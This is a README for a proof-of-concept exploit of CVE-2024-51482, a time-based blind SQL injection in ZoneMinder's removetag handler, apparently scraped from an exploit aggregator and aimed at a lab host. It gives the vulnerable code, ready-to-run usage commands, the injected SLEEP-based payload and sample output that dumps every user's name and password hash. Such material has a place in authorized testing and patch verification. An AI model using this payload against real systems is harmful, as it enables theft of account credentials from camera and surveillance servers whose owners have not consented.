## https://sploitus.com/exploit?id=5A8A44BB-B530-55E0-B83E-4F2D87304ACB
# CVE-2024-51482 โ ZoneMinder Time-Based Blind SQL Injection
A proof-of-concept exploit for **CVE-2024-51482**, an authenticated time-based blind SQL injection vulnerability in **ZoneMinder v1.37.* โค 1.37.64**.
The script extracts usernames and password hashes from the `zm.Users` table using binary search (bisection) over a `SLEEP()`-based oracle.
---
## Vulnerability
The `removetag` handler in `web/ajax/event.php` safely parameterizes a `DELETE` query but then directly interpolates user-controlled input into a subsequent `SELECT`:
```php
// Safe โ parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable โ string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
```
`$tagId` comes straight from `$_REQUEST['tid']` with no sanitization, allowing injection through the `tid` parameter.
---
## Requirements
- Python 3.8+
- `requests` (`pip install requests`)
- A valid `ZMSESSID` session cookie from a logged-in ZoneMinder account
---
## Usage
```bash
python3 CVE-2024-51482.py --url --zmsessid
```
**Arguments:**
- `--url` โ ZoneMinder base URL (e.g. `http://cctv.htb/zm`) *(required)*
- `--zmsessid` โ `ZMSESSID` cookie value *(required)*
- `--sleep` โ sleep seconds for time-based inference (default: `3`)
- `--timeout` โ request timeout in seconds (default: `sleep + 3`)
**Examples:**
```bash
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
```
### Getting the Session Cookie
Log in to ZoneMinder, open browser DevTools (**F12**) -> **Application** -> **Cookies**, and copy the value of `ZMSESSID`. Alternatively, intercept any authenticated request in Burp Suite and grab it from the `Cookie` header.
---
## Output
```
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
```
---
## How It Works
1. **Baseline** โ sends a clean `tid=1` request to measure normal response time.
2. **Confirmation** โ injects `SLEEP(2)` and verifies the response is delayed โฅ2 seconds.
3. **Row count** โ binary searches `COUNT(*)` on `zm.Users` to find how many accounts exist.
4. **Extraction** โ for each user, binary searches the ASCII value of every character in both `Username` and `Password` (~7 requests per character vs. 95 for linear scan).
**Payload structure:**
```sql
GET /zm/index.php?view=request&request=event&action=removetag&tid=&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE ) as dummy)
```
`id=1` is required because the safe `DELETE` before the vulnerable `SELECT` would throw a `500` error without it, aborting execution before injection is reached.
---
## References
- [CVE-2024-51482 โ NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-51482)
- [ZoneMinder โ event.php (1.37.63)](https://github.com/ZoneMinder/zoneminder/blob/1.37.63/web/ajax/event.php)
---
## Disclaimer
This tool is for **authorized security testing and educational research only**.
Always obtain explicit written permission before testing any system you do not own.
The author assumes no responsibility for misuse or damage caused by this software.